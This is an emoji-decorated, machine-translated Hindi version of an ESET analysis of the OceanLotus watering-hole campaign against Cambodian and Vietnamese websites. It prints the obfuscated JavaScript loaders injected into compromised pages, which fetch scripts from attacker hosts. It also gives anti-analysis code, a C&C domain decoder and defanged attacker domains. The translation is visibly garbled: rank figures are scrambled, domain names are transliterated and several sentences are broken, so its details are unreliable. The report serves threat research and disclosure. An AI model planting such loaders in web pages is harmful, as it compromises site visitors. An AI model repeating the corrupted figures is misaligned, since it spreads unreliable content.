🧖 👩🏻‍🏫 💵 ओशनलोटस: दक्षिण पूर्व एशिया में पानी के छेद पर हमला 🤜🏽 💆 🏊

ईएसईटी विशेषज्ञों ने नए वॉटरिंग होल अभियान का विश्लेषण किया, जो दक्षिण पूर्व एशिया में कई साइटों को लक्षित करता है। कथित रूप से, हमलावर सितंबर 2018 की शुरुआत से काम कर रहे हैं। अभियान पैमाने में भिन्न है - हमने कंबोडिया के रक्षा मंत्रालय, कंबोडिया के विदेश मंत्रालय और अंतर्राष्ट्रीय सहयोग मंत्रालय, साथ ही कई वियतनामी समाचार पत्रों और ब्लॉगों की वेबसाइटों सहित 21 समझौता संसाधनों की खोज की।

विश्लेषण के आधार पर, हमने पाया कि ओशनलोटस समूह द्वारा अभियान चलाया जा रहा है, जिसे ART32 और ART-S-00 भी कहा जाता है। समूह कम से कम 2012 से काम कर रहा है और सरकारी एजेंसियों और असंतुष्टों में विशेष रुचि के साथ साइबर जासूसी करने में माहिर है।

यह अभियान ओशनएलोटस वॉटरिंग होल स्कीम का विकास प्रतीत होता है, जिसे Volexity के शोधकर्ताओं ने 2017 में फ्रेमवर्क बी नाम से प्रलेखित किया था। पिछले साल से, साइबरबर्ग ने अपने दुर्भावनापूर्ण फ्रेमवर्क का विश्लेषण करना मुश्किल बना दिया है। अन्य सुधारों के बीच, हमने एईएस सत्र कुंजी के आदान-प्रदान के लिए सार्वजनिक कुंजी एन्क्रिप्शन के उपयोग का उल्लेख किया। विधि का उपयोग डेटा एक्सचेंज को एन्क्रिप्ट करने के लिए किया जाता है जो सुरक्षा उत्पादों को अंतिम पेलोड को बाधित करने की अनुमति नहीं देता है। इसके अलावा, दुर्भावनापूर्ण डेटा एक्सचेंज को छिपाने के लिए हमलावरों ने HTTP से WebSocket पर स्विच किया।

ईएसईटी विशेषज्ञों द्वारा खोजे गए प्रत्येक समझौता स्थल ने आगंतुकों को महासागरलोटस द्वारा नियंत्रित एक अलग डोमेन पर पुनर्निर्देशित किया।

नीचे दी गई छवि अभियान के लक्ष्य क्षेत्रों को दिखाती है।

चित्रा 1. समझौता साइटों की भूगोल

अधिकांश समझौता किए गए डोमेन समाचार मीडिया या कंबोडिया सरकार से संबंधित हैं। निम्नलिखित पीड़ितों की एक सूची है। हमने उन्हें अक्टूबर में समझौता करने के बारे में चेतावनी दी, लेकिन 2018 के अंत में, कुछ साइटों पर दुर्भावनापूर्ण स्क्रिप्ट बने रहे:

- baotgm [।] नेट - वियतनामी मीडिया (Arlington, टेक्सास में मुख्यालय)
- cnrp7 [।] संगठन - कंबोडिया नेशनल साल्वेशन पार्टी की वेबसाइट
- कोनजियाओविंडियन [।] नेट - वियतनामी में धार्मिक सामग्री
- दाइचुंगविएविनविथानह।] कॉम - वियतनामी में धार्मिक सामग्री
- danchimviet [।] जानकारी - वियतनामी मीडिया
- danviet [।] Vn - वियतनामी मीडिया
- danviethouston [।] कॉम - वियतनामी मीडिया
- fvpoc [।] संगठन - वियतनामी सार्वजनिक संगठन
- गार्डेनसिटीक्लब [।] कॉम - गोल्फ क्लब स्थल नोम पेन्ह, कंबोडिया में
- lienketqnhn [।] संगठन - वियतनामी मीडिया
- mfaic.gov [।] ख - विदेश मामलों के मंत्रालय और कंबोडिया के अंतर्राष्ट्रीय सहयोग
- mod.gov [।] ख - कंबोडिया के रक्षा मंत्रालय
- mtgvinh [।] नेट - वियतनामी में धार्मिक सामग्री
- nguoitieudung.com [।] Vn - वियतनामी मीडिया
- phnompenhpost [।] कॉम - अंग्रेजी में कम्बोडियन मीडिया
- raovatcalitoday [।] कॉम - वियतनामी में साइट
- thongtinchongphandong [।] कॉम - वियतनामी में विपक्षी मीडिया
- tinkhongle [।] कॉम - वियतनामी मीडिया
- toithichdoc.blogspot [।] कॉम - वियतनामी ब्लॉग
- ट्रायुइडिविएट [।] कॉम - वियतनामी में साइट
- सामान्य ज्ञान [।] समाचार - वियतनामी मीडिया

पानी के छेद के हमलों में, हमलावर आमतौर पर उन साइटों से समझौता करते हैं जो संभावित पीड़ितों द्वारा अक्सर देखी जाती हैं। हालाँकि, इस अभियान में, ओशनएलोटस समूह ने कई लोकप्रिय साइटों से समझौता किया। नीचे समझौता साइटों और उनके एलेक्सा-रेटिंग की एक सूची है: वैश्विक और देश में जहां साइट सबसे लोकप्रिय है। उदाहरण के लिए, 2018 के अंत में डैन वायट अखबार (डैन्विएट [।] Vn) की वेबसाइट वियतनाम में उपस्थिति के संदर्भ में 116 वीं पंक्ति पर थी।

- danviet [।] Vn - १२v ९ / ११६६
- phnompenhpost [।] कॉम - 85 910/18 880
- nguoitieudung.com [।] Vn - 261 801/2 397
- danchimviet [।] जानकारी - २/2 14५२/१४४ v४
- बॉटम []] नेट - 675 669/119 737
- toithichdoc.blogspot [।] कॉम - 700 470/11532
- mfaic.gov [।] ख - ९ 2/ 165/2 १४ ९
- कॉन्ग्जियाओविंडियन [।] नेट - 1,040 548/15 368
- थोंगटीनचोंगफॉन्गॉन्ग [।] कॉम - 1 134 691/21 575
- tinkhongle [।] कॉम - 1 301 722/15 224
- दैचुंगविविंविंथन [।] कॉम - १,,418,४१ 23 / २३,४२en
- mod.gov [।] ख - ४,२४.,६४ ९ / ३, .१ ९

के विश्लेषण

सभी समझौता साइटों के लिए, समान विधियों का उपयोग किया गया था। हमलावरों ने जावास्क्रिप्ट कोड का एक छोटा टुकड़ा मुख्य पृष्ठ पर, या उसी सर्वर पर पोस्ट की गई जावास्क्रिप्ट फ़ाइल में जोड़ा। हमलावर द्वारा नियंत्रित सर्वर से एक और स्क्रिप्ट कोड (नीचे देखें) एक थोड़ा obfuscated कोड लोड करता है। नीचे एक जावास्क्रिप्ट स्निपेट जोड़ा गया है https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js , जो https://weblink.selfip[.]info/images/cdn.js?from=maxcdn से फाइल डाउनलोड करता है। https://weblink.selfip[.]info/images/cdn.js?from=maxcdn ।

 (function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');

पता लगाने से बचने के लिए, हमलावरों ने निम्नलिखित उपाय किए:

- वे स्थैतिक अंतिम URL को आबंटित होने से रोकने के लिए स्क्रिप्ट को बाधित करते हैं
- URL साइट द्वारा उपयोग की जाने वाली वास्तविक जावास्क्रिप्ट लाइब्रेरी जैसा दिखता है
- प्रत्येक समझौता किए गए साइट के लिए, एक अलग डोमेन और URI का उपयोग किया जाता है।
- सभी समझौता साइटों की अलग-अलग स्क्रिप्ट होती हैं। निम्नांकित साइटों में से एक में एक स्क्रिप्ट को लागू किया जा रहा है:

 var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);

पहला चरण

आगंतुक के आईपी पते के स्थान के आधार पर, पहले चरण का सर्वर (उदाहरण के लिए, weblink.selfip[.]info mfaic.gov[.]kh लिए weblink.selfip[.]info mfaic.gov[.]kh 1: 2194271C7991D60AE82436129D7F25C0A689050A)। सभी सर्वर स्थान जांच नहीं करते हैं, लेकिन यदि कोई एक है, तो केवल वियतनाम और कंबोडिया के आगंतुक एक दुर्भावनापूर्ण स्क्रिप्ट प्राप्त करते हैं।

पहले चरण की स्क्रिप्ट में पता लगाने से रोकने के लिए कई जांचें हैं, जैसा कि नीचे दिखाया गया है।

 […] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […]

जब तक पीड़ित पृष्ठ पर स्क्रॉल नहीं करता, तब तक स्क्रिप्ट प्रतीक्षा करती है। यह विंडो रिज़ॉल्यूशन की भी जाँच करता है और वेब पेजों के विश्लेषण के लिए ब्राउज़र आधारित प्लगइन फायरबग सक्षम है या नहीं। यदि कम से कम एक चेक विफल हो जाता है, तो निष्पादन समाप्त हो जाता है।

वह फिर कस्टम एल्गोरिथ्म का उपयोग करके C & C कमांड सर्वर के डोमेन को डिक्रिप्ट करता है। उदाहरण के लिए, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 wss://tcog.thruhere[.]net के लिए खड़ा है wss://tcog.thruhere[.]net । पहले चरण के प्रत्येक डोमेन के लिए, हमलावरों ने अतिरिक्त रूप से दूसरे चरण के एक डोमेन को पंजीकृत किया, और वे सभी विभिन्न सर्वरों पर स्थित हैं। नीचे दिया गया कोड पायथन में लिखे गए डिक्रिप्शन फ़ंक्शन के बराबर है।

 def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))

C & C पते को डिक्रिप्ट करने के बाद, स्क्रिप्ट 15 अंकों का एक अद्वितीय स्ट्रिंग भेजती है, और फिर दूसरी स्टेज स्क्रिप्ट को प्राप्त करता है और चलाता है। डेटा विनिमय WebSocket या SSL के माध्यम से किया जाता है। प्रोटोकॉल क्लाइंट और सर्वर के बीच एक साथ दो-तरफ़ा संचार प्रदान करता है। इसका मतलब यह है कि एक क्लाइंट कनेक्शन स्थापित करने के बाद, सर्वर क्लाइंट को अनुरोध के बिना भी डेटा भेज सकता है। हालांकि, एक विशेष मामले में, प्रोटोकॉल का उपयोग मुख्य रूप से पता लगाने से बचने के लिए किया जाता है।

दूसरा चरण

दूसरा चरण स्क्रिप्ट टोही के लिए है। ओशनएलोटस डेवलपर्स ने गीथब पर उपलब्ध वाल्व के फिंगरप्रिंटज 2 पुस्तकालय का उपयोग किया है , जिसमें मामूली बदलाव हैं - नेटवर्क साझा करना और एक विशेष रिपोर्ट बनाना।

नीचे दी गई आकृति स्क्रिप्ट द्वारा किए गए विभिन्न कार्यों को दिखाती है। संचार एक WebSocket सत्र के माध्यम से किया जाता है जो पहले चरण के साथ शुरू हुआ था।

चित्रा 2. पेलोड के दूसरे चरण की योजना

सर्वर द्वारा उत्पन्न एईएस सत्र कुंजी का उपयोग करके संचार एन्क्रिप्ट किया गया है। इसे 1024-बिट RSA सार्वजनिक कुंजी के साथ एन्क्रिप्ट किया गया है और क्लाइंट को भेजा गया है, इसलिए क्लाइंट और सर्वर के बीच डेटा एक्सचेंज को डिक्रिप्ट करना संभव नहीं है।

ओशनएलोटस समूह के पानी के छेद के ढांचे के पिछले संस्करणों की तुलना में, अपने आप को इससे बचाने के लिए और अधिक कठिन है क्योंकि नेटवर्क पर डेटा ट्रांसमिशन का पता नहीं लगाया जा सकता है और इसे डिक्रिप्ट किया जा सकता है। यह डेटा की नेटवर्क खोज को रोकता है। सर्वर द्वारा प्रेषित सार्वजनिक कुंजी परिवर्तित नहीं होती है और IoC अनुभाग में सूचीबद्ध होती है।

टोही स्क्रिप्ट नीचे की तरह एक रिपोर्ट बनाता है और इसे दूसरे चरण C & C सर्वर पर भेजता है।

 { "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]

यह रिपोर्ट 2017 में Volexity द्वारा प्रलेखित ओशनएलोटस फ्रेमवर्क बी द्वारा उत्पन्न अन्य के समान है। उनके खंड समान हैं और समान टाइपोस हैं। इस समानता और लक्ष्यों के स्थान के कारण, हम उच्च स्तर की निश्चितता के साथ कह सकते हैं कि यह ओशनलोथस है जो अभियान का संचालन कर रहा है।

जनरेट की गई रिपोर्ट में पीड़ित के ब्राउज़र और विज़िट की गई साइट के बारे में विस्तृत जानकारी होती है: उपयोगकर्ता एजेंट, HTTP रेफर अनुरोध शीर्ष लेख, स्थानीय और बाहरी आईपी पता, प्लग-इन और ब्राउज़र भाषा सेटिंग्स सेट।

इसके अलावा, प्रत्येक मशीन के दो विशिष्ट पहचानकर्ता हैं: client_zuuid और client_uuid । उनका उपयोग उपयोगकर्ताओं की पहचान करने और उनकी यात्राओं को ट्रैक करने के लिए किया जा सकता है। ये पहचानकर्ता वास्तव में रूपरेखा के 2017 संस्करण में मौजूद थे, और client_uuid की गणना इसी तरह से की गई थी।

Client_zuuid का मान नेवीगेटर .mediaDevices.enumerateDevices में निहित विभिन्न डिवाइस के मानों का संघटन है। डिवाइस बाहरी उपकरण हैं जो ब्राउज़र तक पहुंचते हैं, जैसे कि कैमरे और माइक्रोफोन। इस प्रकार, एक उपयोगकर्ता के लिए मान एक ही कंप्यूटर से अलग-अलग यात्राओं के दौरान मेल खाना चाहिए।

Client_uuid मान फिंगरप्रिंटज 2 द्वारा आवंटित उंगलियों के निशान का एमडी 5 हैश है। एकत्र किए गए डेटा में ब्राउज़र उपयोगकर्ता एजेंट, भाषा, समय क्षेत्र, ब्राउज़र प्लग-इन और ब्राउज़र-सुलभ फोंट शामिल हैं। और फिर से - मूल्य सभी यात्राओं के लिए समान होना चाहिए, केवल अगर, उदाहरण के लिए, उपयोगकर्ता ब्राउज़र को अपडेट नहीं करता है या किसी अन्य डिवाइस से लॉग इन नहीं करता है।

अंत में, सर्वर पीड़ित के कंप्यूटर पर अतिरिक्त जावास्क्रिप्ट कोड भेज सकता है, शायद यह डिलीवर किया गया घटक है। दुर्भाग्य से, डेटा विनिमय को डिक्रिप्ट करने के लिए एईएस सत्र कुंजी के उपयोग के कारण, हम यह निर्धारित करने में असमर्थ थे कि किस घटक को इन-द-वाइल्ड नमूनों में घुसपैठियों द्वारा वितरित किया जाता है। इसके अलावा, पेलोड केवल कुछ पीड़ितों तक ही पहुंचाया जाता है। इस प्रकार, एक परीक्षण मशीन का उपयोग करके, हम उन्हें प्राप्त करने में सक्षम नहीं थे। हालाँकि, पिछली रिपोर्टों के अनुसार, ओशनएलोटस के वाटरिंग होल अभियानों को फ़िशिंग पर लक्षित किया गया है। उदाहरण के लिए, एक रिपोर्ट में Volexity ने लिखा है कि उपयोगकर्ताओं ने एक पॉप-अप विंडो देखी, जो ओलाथ प्रोटोकॉल के माध्यम से पीड़ित के Google खाते के लिए ओशनएलॉट्स Google ऐप के माध्यम से उपयोग को अधिकृत करने के लिए कह रही है। इस तकनीक का उपयोग करते हुए, हमलावर पीड़ित के संपर्कों और ईमेल तक पहुंच सकते हैं।

नेटवर्क का बुनियादी ढांचा

अधिकतम गुप्त कार्य के लिए, ओशनएलोटस ऑपरेटरों ने प्रत्येक समझौता किए गए साइटों के लिए पहले और दूसरे चरण के लिए एक डोमेन पंजीकृत किया। प्रत्येक डोमेन को अपने स्वयं के आईपी पते के साथ एक अलग सर्वर पर होस्ट किया जाता है। इस अभियान के लिए कम से कम 50 डोमेन और 50 सर्वर पंजीकृत हैं।

अधिकांश प्रथम चरण के डोमेन मुफ्त डोमेन नाम वाली सेवाओं पर पंजीकृत हैं, दूसरे चरण के डोमेन मुख्य रूप से भुगतान किए जाते हैं। अन्य बातों के अलावा, उनके नाम वैध के रूप में प्रच्छन्न हैं। नीचे उन सेवाओं की सूची दी गई है, जिन पर हमलावरों ने क्रमश: C & C और एक वैध डोमेन को कॉपी करने की कोशिश की:

- cdn-ampproject [।] कॉम / cdn.ampproject.com
- बूटस्ट्रैपलिंक [।] कॉम / getbootstrap.com
- sskimresources [।] कॉम / s.skimresources.com
- विगेट्स- wp [।] कॉम / widgets.wp.com

उपयोग किए गए डोमेन की संख्या और वैध साइटों के लिए उनकी समानता नेटवर्क ट्रैफ़िक देखने वाले किसी व्यक्ति द्वारा पता लगाने को जटिल बना सकती है।

निष्कर्ष

सुरक्षा शोधकर्ताओं के ध्यान देने के बावजूद, ओशनएलोटस दक्षिण पूर्व एशिया में लक्ष्यों पर सफलतापूर्वक हमला करना जारी रखता है। इसके अलावा, समूह अपने शस्त्रागार में पानी के छेद के हमलों के लिए एक रूपरेखा, विंडोज और मैकओएस के लिए एक मैलवेयर शामिल करके उपकरणों में सुधार करता है। इस रिपोर्ट में चर्चा की गई हालिया रूपरेखा अपडेट से संकेत मिलता है कि हमलावरों ने अपने कौशल में सुधार किया है।

संभावित पीड़ितों की संख्या को सीमित करने के लिए, हमने समझौता साइटों के मालिकों को सूचित किया और बताया कि दुर्भावनापूर्ण जावास्क्रिप्ट कोड को कैसे हटाया जाए। हालांकि, उनमें से कुछ ने सूचना और सहायता स्वीकार करने की इच्छा नहीं दिखाई।

ईएसईटी शोधकर्ता ओशनलोटस समूह के विकास की निगरानी करना जारी रखेंगे। समझौता के संकेतक GitHub पर पाए जा सकते हैं।

ओशनलोटस: दक्षिण पूर्व एशिया में पानी के छेद पर हमला

के विश्लेषण

पहला चरण

दूसरा चरण

नेटवर्क का बुनियादी ढांचा

निष्कर्ष

More articles: